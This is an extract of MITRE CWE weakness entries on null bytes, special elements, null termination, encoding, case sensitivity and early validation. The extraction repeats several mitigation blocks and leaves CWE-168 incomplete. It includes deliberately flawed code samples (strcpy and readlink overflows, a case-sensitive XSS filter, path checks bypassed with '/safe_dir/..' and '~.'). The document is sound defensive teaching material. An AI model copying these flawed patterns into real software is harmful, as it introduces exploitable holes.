The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-158: Improper Neutralization of Null Byte or NUL Character

Weakness ID : 158

Status: Incomplete

Structure : Simple

Abstraction : Variant

Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes NUL characters or null bytes when they are sent to a downstream component.

Extended Description

As data is parsed, an injected NUL character or null byte may cause the software to believe the input is terminated earlier than it actually is, or otherwise cause the input to be misinterpreted. This could then be used to inject potentially dangerous input that occurs after the null byte or otherwise bypass validation routines and other protection mechanisms.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |

CWE-159: Improper Handling of Invalid Use of Special Elements**Weakness ID** : 159**Status**: Draft**Structure** : Simple**Abstraction** : Class**Description**

The product does not properly filter, remove, quote, or otherwise manage the invalid use of special elements in user-controlled input, which could cause adverse effect on its behavior and integrity.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|----------|---|-----|--|------|
| ChildOf |  | 138 | Improper Neutralization of Special Elements | 348 |
| ParentOf |  | 166 | Improper Handling of Missing Special Element | 397 |
| ParentOf |  | 167 | Improper Handling of Additional Special Element | 398 |
| ParentOf |  | 168 | Improper Handling of Inconsistent Special Elements | 400 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------|------------------|------------|
| Integrity | Unexpected State | |

Potential Mitigations

Developers should anticipate that special elements will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if

the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | V | Page |
|----------|------|-----|---|-----|------|
| MemberOf | C | 990 | SFP Secondary Cluster: Tainted Input to Command | 888 | 2129 |

Notes

Maintenance

The list of children for this entry is far from complete. However, the types of special elements might be too precise for use within CWE.

Terminology

Precise terminology for the underlying weaknesses does not exist. Therefore, these weaknesses use the terminology associated with the manipulation.

Research Gap

Customized languages and grammars, even those that are specific to a particular product, are potential sources of weaknesses that are related to special elements. However, most researchers concentrate on the most commonly used representations for data transmission, such as HTML and SQL. Any representation that is commonly used is likely to be a rich source of weaknesses; researchers are encouraged to investigate previously unexplored representations.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

CWE-162: Improper Neutralization of Trailing Special Elements

Weakness ID : 162

Status: Incomplete

Structure : Simple

Abstraction : Variant

Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes trailing special elements that could be interpreted in unexpected ways when they are sent to a downstream component.

Extended Description

As data is parsed, improperly handled trailing special elements may cause the process to take unexpected actions that result in an attack.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|----------|---|-----|---|------|
| ChildOf |  | 138 | Improper Neutralization of Special Elements | 348 |
| ParentOf |  | 42 | Path Equivalence: 'filename.' (Trailing Dot) | 87 |
| ParentOf |  | 46 | Path Equivalence: 'filename ' (Trailing Space) | 90 |
| ParentOf |  | 49 | Path Equivalence: 'filename/' (Trailing Slash) | 94 |
| ParentOf |  | 54 | Path Equivalence: 'filedir\' (Trailing Backslash) | 99 |
| ParentOf |  | 163 | Improper Neutralization of Multiple Trailing Special Elements | 392 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------|------------------|------------|
| Integrity | Unexpected State | |

Potential Mitigations

Developers should anticipate that trailing special elements will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input

is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

CWE-168: Improper Handling of Inconsistent Special Elements

Weakness ID : 168

Status: Draft

Structure : Simple

Abstraction : Base

Description

The software does not properly handle input in which an inconsistency exists between two or more special characters or reserved words.

Extended Description

An example of this problem would be if paired characters appear in the wrong order, or if the special characters are not properly nested.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-170: Improper Null Termination

| | |
|---------------------------|----------------------------|
| Weakness ID : 170 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The software does not terminate or incorrectly terminates a string or array with a null character or equivalent terminator.

Extended Description

Null termination errors frequently occur in two different ways. An off-by-one error could cause a null to be written out of bounds, leading to an overflow. Or, a program could use a strncpy() function call incorrectly, which prevents a null terminator from being added at all. Other scenarios are possible.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Resultant :

Applicable Platforms

Language : C (Prevalence = Undetermined)

Language : C++ (Prevalence = Undetermined)

Likelihood Of Exploit

Medium

Common Consequences

| Scope | Impact | Likelihood |
|--|---|------------|
| Confidentiality Integrity Availability | Read Memory Execute Unauthorized Code or Commands <i>The case of an omitted null character is the most dangerous of the possible issues. This will almost certainly result in information disclosure, and possibly a buffer overflow condition, which may be exploited to execute arbitrary code.</i> | |

| Scope | Impact | Likelihood |
|---|---|------------|
| Confidentiality Integrity Availability | DoS: Crash, Exit, or Restart Read Memory DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) <i>If a null character is omitted from a string, then most string-copying functions will read data until they locate a null character, even outside of the intended boundaries of the string. This could: cause a crash due to a segmentation fault cause sensitive adjacent memory to be copied and sent to an outsider trigger a buffer overflow when the copy is being written to a fixed-size buffer.</i> | |
| Integrity Availability | Modify Memory DoS: Crash, Exit, or Restart <i>Misplaced null characters may result in any number of security problems. The biggest issue is a subset of buffer overflow, and write-what-where conditions, where data corruption occurs from the writing of a null character over valid data, or even instructions. A randomly placed null character may put the system into an undefined state, and therefore make it prone to crashing. A misplaced null character may corrupt other data in memory.</i> | |
| Integrity Confidentiality Availability Access Control Other | Alter Execution Logic Execute Unauthorized Code or Commands <i>Should the null character corrupt the process flow, or affect a flag controlling access, it may lead to logical errors which allow for the execution of arbitrary code.</i> | |

Potential Mitigations

Phase: Requirements

Use a language that is not susceptible to these issues. However, be careful of null byte interaction errors (CWE-626) with lower-level constructs that may be written in a language that is susceptible.

Phase: Implementation

Ensure that all string functions used are understood fully as to how they append null characters. Also, be wary of off-by-one errors when appending nulls to the end of strings.

Phase: Implementation

If performance constraints permit, special code can be added that validates null-termination of string buffers, this is a rather naive and error-prone solution.

Phase: Implementation

Switch to bounded string manipulation functions. Inspect buffer lengths involved in the buffer overrun trace reported with the defect.

Phase: Implementation

Add code that fills buffers with nulls (however, the length of buffers still needs to be inspected, to ensure that the non null-terminated string is not written at the physical end of the buffer).

Demonstrative Examples

Example 1:

The following code reads from `cfgfile` and copies the input into `inputbuf` using `strcpy()`. The code mistakenly assumes that `inputbuf` will always contain a NULL terminator.

*Example Language: C**(bad)*

```
#define MAXLEN 1024
...
char *pathbuf[MAXLEN];
...
read(cfgfile,inputbuf,MAXLEN); //does not null terminate
strcpy(pathbuf,inputbuf); //requires null terminated input
...
```

The code above will behave correctly if the data read from `cfgfile` is null terminated on disk as expected. But if an attacker is able to modify this input so that it does not contain the expected NULL character, the call to `strcpy()` will continue copying from memory until it encounters an arbitrary NULL character. This will likely overflow the destination buffer and, if the attacker can control the contents of memory immediately following `inputbuf`, can leave the application susceptible to a buffer overflow attack.

Example 2:

In the following code, `readlink()` expands the name of a symbolic link stored in `pathname` and puts the absolute path into `buf`. The length of the resulting value is then calculated using `strlen()`.

*Example Language: C**(bad)*

```
char buf[MAXPATH];
...
readlink(pathname, buf, MAXPATH);
int length = strlen(buf);
...
```

The code above will not always behave correctly as `readlink()` does not append a NULL byte to `buf`. `Readlink()` will stop copying characters once the maximum size of `buf` has been reached to avoid overflowing the buffer, this will leave the value `buf` not NULL terminated. In this situation, `strlen()` will continue traversing memory until it encounters an arbitrary NULL character further on down the stack, resulting in a length value that is much larger than the size of string. `Readlink()` does return the number of bytes copied, but when this return value is the same as stated `buf` size (in this case `MAXPATH`), it is impossible to know whether the `pathname` is precisely that many bytes long, or whether `readlink()` has truncated the name to avoid overrunning the buffer. In testing, vulnerabilities like this one might not be caught because the unused contents of `buf` and the memory immediately following it may be NULL, thereby causing `strlen()` to appear as if it is behaving correctly.

Example 3:

While the following example is not exploitable, it provides a good example of how nulls can be omitted or misplaced, even when "safe" functions are used:

*Example Language: C**(bad)*

```
#include <stdio.h>
#include <string.h>
int main() {
    char longString[] = "String signifying nothing";
    char shortString[16];
    strncpy(shortString, longString, 16);
    printf("The last character in shortString is: %c (%1$x)\n", shortString[15]);
    return (0);
}
```

The above code gives the following output: "The last character in shortString is: n (6e)". So, the `shortString` array does not end in a NULL character, even though the "safe" string function `strncpy()` was used. The reason is that `strncpy()` does not implicitly add a NULL character at the end of the string when the source is equal in length or longer than the provided size.

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2000-0312 | Attacker does not null-terminate argv[] when invoking another program. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0312 |

Notes

Relationship

Factors: this is usually resultant from other weaknesses such as off-by-one errors, but it can be primary to boundary condition violations such as buffer overflows. In buffer overflows, it can act as an expander for assumed-immutable data.

Relationship

Overlaps missing input terminator.

Applicable Platform

Conceptually, this does not just apply to the C language; any language or representation that involves a terminator could have this type of problem.

Maintenance

As currently described, this entry is more like a category than a weakness.

Taxonomy Mappings

| Mapped Taxonomy Name | Node ID | Fit | Mapped Node Name |
|-------------------------|---------|-------------------|--|
| PLOVER | | | Improper Null Termination |
| 7 Pernicious Kingdoms | | | String Termination Error |
| CLASP | | | Miscalculated null termination |
| OWASP Top Ten 2004 | A9 | CWE More Specific | Denial of Service |
| CERT C Secure Coding | POS30-C | CWE More Abstract | Use the readlink() function properly |
| CERT C Secure Coding | STR03-C | | Do not inadvertently truncate a null-terminated byte string |
| CERT C Secure Coding | STR32-C | Exact | Do not pass a non-null-terminated character sequence to a library function that expects a string |
| Software Fault Patterns | SFP11 | | Improper Null Termination |

CWE-172: Encoding Error

| | |
|----------------------------|-----------------------|
| Weakness ID : 172 | Status : Draft |
| Structure : Simple | |
| Abstraction : Class | |

Description

The software does not properly encode or decode the data, resulting in unexpected values.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------|------------------|------------|
| Integrity | Unexpected State | |

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation*Strategy = Output Encoding*

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name |  | Page |
|----------|---|-----|--|---|------|
| MemberOf |  | 992 | SFP Secondary Cluster: Faulty Input Transformation | 888 | 2132 |

Notes**Relationship**

Partially overlaps path traversal and equivalence weaknesses.

Maintenance

This is more like a category than a weakness.

Maintenance

Many other types of encodings should be listed in this category.

Potential Mitigations**Phase: Architecture and Design**

Strategy = Input Validation

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related

fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------|------------------|------------|
| Integrity | Unexpected State | |

Potential Mitigations

Phase: Architecture and Design

Strategy = Input Validation

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Demonstrative Examples

Example 1:

Windows provides the `MultiByteToWideChar()`, `WideCharToMultiByte()`, `UnicodeToBytes()`, and `BytesToUnicode()` functions to convert between arbitrary multibyte (usually ANSI) character strings and Unicode (wide character) strings. The size arguments to these functions are specified in different units, (one in bytes, the other in characters) making their use prone to error.

In a multibyte character string, each character occupies a varying number of bytes, and therefore the size of such strings is most easily specified as a total number of bytes. In Unicode, however, characters are always a fixed size, and string lengths are typically given by the number of characters they contain. Mistakenly specifying the wrong units in a size argument can lead to a buffer overflow.

The following function takes a username specified as a multibyte string and a pointer to a structure for user information and populates the structure with information about the specified user. Since Windows authentication uses Unicode for usernames, the username argument is first converted from a multibyte string to a Unicode string.

Example Language: C

(bad)

```
void getUserInfo(char *username, struct _USER_INFO_2 info){
    WCHAR unicodeUser[UNLEN+1];
    MultiByteToWideChar(CP_ACP, 0, username, -1, unicodeUser, sizeof(unicodeUser));
    NetUserGetInfo(NULL, unicodeUser, 2, (LPBYTE *)&info);
}
```

This function incorrectly passes the size of `unicodeUser` in bytes instead of characters. The call to `MultiByteToWideChar()` can therefore write up to $(UNLEN+1) * \text{sizeof}(WCHAR)$ wide characters, or $(UNLEN+1) * \text{sizeof}(WCHAR) * \text{sizeof}(WCHAR)$ bytes, to the `unicodeUser` array, which has only $(UNLEN+1) * \text{sizeof}(WCHAR)$ bytes allocated.

If the username string contains more than UNLEN characters, the call to MultiByteToWideChar() will overflow the buffer unicodeUser.

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2000-0884 | Server allows remote attackers to read documents outside of the web root, and possibly execute arbitrary commands, via malformed URLs that contain Unicode encoded characters. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0884 |
| CVE-2001-0709 | Server allows a remote attacker to obtain source code of ASP files via a URL encoded with Unicode. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0709 |
| CVE-2001-0669 | Overlaps interaction error. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0669 |

CWE-178: Improper Handling of Case Sensitivity

Weakness ID : 178

Status: Incomplete

Structure : Simple

Abstraction : Base**Description**

The software does not properly account for differences in case sensitivity when accessing or determining the properties of a resource, leading to inconsistent results.

Extended Description

Improperly handled case sensitive data can lead to several possible consequences, including:

- case-insensitive passwords reducing the size of the key space, making brute force attacks easier
- bypassing filters or access controls using alternate names
- multiple interpretation errors using alternate names.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|----------------|-----------------------------|------------|
| Access Control | Bypass Protection Mechanism | |

Potential Mitigations**Phase: Architecture and Design**

Strategy = Input Validation

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not

strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Demonstrative Examples

Example 1:

In the following example, an XSS neutralization method intends to replace script tags in user-supplied input with a safe equivalent:

Example Language: Java (bad)

```
public String preventXSS(String input, String mask) {  
    return input.replaceAll("script", mask);  
}
```

The code only works when the "script" tag is in all lower-case, forming an incomplete denylist (CWE-184). Equivalent tags such as "SCRIPT" or "ScRiPt" will not be neutralized by this method, allowing an XSS attack.

Observed Examples

| Reference | Description |
|---------------|--|
| CVE-2000-0499 | Application server allows attackers to bypass execution of a jsp page and read the source code using an upper case JSP extension in the request. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0499 |
| CVE-2000-0497 | The server is case sensitive, so filetype handlers treat .jsp and .JSP as different extensions. JSP source code may be read because .JSP defaults to the filetype "text". https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0497 |
| CVE-2000-0498 | The server is case sensitive, so filetype handlers treat .jsp and .JSP as different extensions. JSP source code may be read because .JSP defaults to the filetype "text". https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0498 |
| CVE-2001-0766 | A URL that contains some characters whose case is not matched by the server's filters may bypass access restrictions because the case-insensitive file system will then handle the request after it bypasses the case sensitive filter. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0766 |
| CVE-2001-0795 | Server allows remote attackers to obtain source code of CGI scripts via URLs that contain MS-DOS conventions such as (1) upper case letters or (2) 8.3 file names. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0795 |

| Reference | Description |
|----------------------|--|
| CVE-2001-1238 | Task Manager does not allow local users to end processes with uppercase letters named (1) winlogon.exe, (2) csrss.exe, (3) smss.exe and (4) services.exe via the Process tab which could allow local users to install Trojan horses that cannot be stopped. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1238 |
| CVE-2003-0411 | chain: Code was ported from a case-sensitive Unix platform to a case-insensitive Windows platform where filetype handlers treat .jsp and .JSP as different extensions. JSP source code may be read because .JSP defaults to the filetype "text". https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0411 |
| CVE-2002-0485 | Leads to interpretation error https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0485 |
| CVE-1999-0239 | Directories may be listed because lower case web requests are not properly handled by the server. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0239 |
| CVE-2005-0269 | File extension check in forum software only verifies extensions that contain all lowercase letters, which allows remote attackers to upload arbitrary files via file extensions that include uppercase letters. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0269 |
| CVE-2004-1083 | Web server restricts access to files in a case sensitive manner, but the filesystem accesses files in a case insensitive manner, which allows remote attackers to read privileged files using alternate capitalization. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1083 |
| CVE-2002-2119 | Case insensitive passwords lead to search space reduction. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2119 |
| CVE-2004-2214 | HTTP server allows bypass of access restrictions using URIs with mixed case. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2214 |
| CVE-2004-2154 | Mixed upper/lowercase allows bypass of ACLs. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2154 |
| CVE-2005-4509 | Bypass malicious script detection by using tokens that aren't case sensitive. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4509 |
| CVE-2002-1820 | Mixed case problem allows "admin" to have "Admin" rights (alternate name property). https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1820 |
| CVE-2007-3365 | Chain: uppercase file extensions causes web server to return script source code instead of executing the script. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3365 |

CWE-179: Incorrect Behavior Order: Early Validation

Weakness ID : 179

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The software validates input before applying protection mechanisms that modify the input, which could allow an attacker to bypass the validation via dangerous inputs that only arise after the modification.

Extended Description

Software needs to validate data at the proper time, after data has been canonicalized and cleansed. Early validation is susceptible to various manipulations that result in dangerous inputs that are produced by canonicalization and cleansing.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------------------|---|------------|
| Access Control Integrity | Bypass Protection Mechanism Execute Unauthorized Code or Commands <i>An attacker could include dangerous input that bypasses validation protection mechanisms which can be used to launch various attacks including injection attacks, execute arbitrary code or cause other unintended behavior.</i> | |

Potential Mitigations

Phase: Implementation*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Demonstrative Examples**Example 1:**

The following code attempts to validate a given input path by checking it against an allowlist and then return the canonical path. In this specific case, the path is considered valid if it starts with the string `"/safe_dir/"`.

*Example Language: Java**(bad)*

```
String path = getInputPath();
if (path.startsWith("/safe_dir/"))
{
    File f = new File(path);
    return f.getCanonicalPath();
}
```

The problem with the above code is that the validation step occurs before canonicalization occurs. An attacker could provide an input path of `"/safe_dir/.."` that would pass the validation step. However, the canonicalization process sees the double dot as a traversal to the parent directory and hence when canonized the path would become just `"/"`.

To avoid this problem, validation should occur after canonicalization takes place. In this case canonicalization occurs during the initialization of the File object. The code below fixes the issue.

*Example Language: Java**(good)*

```
String path = getInputPath();
File f = new File(path);
if (f.getCanonicalPath().startsWith("/safe_dir/"))
{
    return f.getCanonicalPath();
}
```

Example 2:

This script creates a subdirectory within a user directory and sets the user as the owner.

*Example Language: PHP**(bad)*

```
function createDir($userName,$dirName){
    $userDir = '/users/'. $userName;
    if(strpos($dirName,'..') !== false){
        echo 'Directory name contains invalid sequence';
        return;
    }
    //filter out '~' because other scripts identify user directories by this prefix
    $dirName = str_replace('~','',$dirName);
    $newDir = $userDir . $dirName;
    mkdir($newDir, 0700);
    chown($newDir,$userName);
}
```

While the script attempts to screen for `'..'` sequences, an attacker can submit a directory path including `"~."`, which will then become `".."` after the filtering step. This allows a Path Traversal (CWE-21) attack to occur.

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2002-0433 | Product allows remote attackers to view restricted files via an HTTP request containing a "*" (wildcard or asterisk) character. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0433 |
| CVE-2003-0332 | Product modifies the first two letters of a filename extension after performing a security check, which allows remote attackers to bypass authentication via a filename with a .ats extension instead of a .hts extension. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0332 |
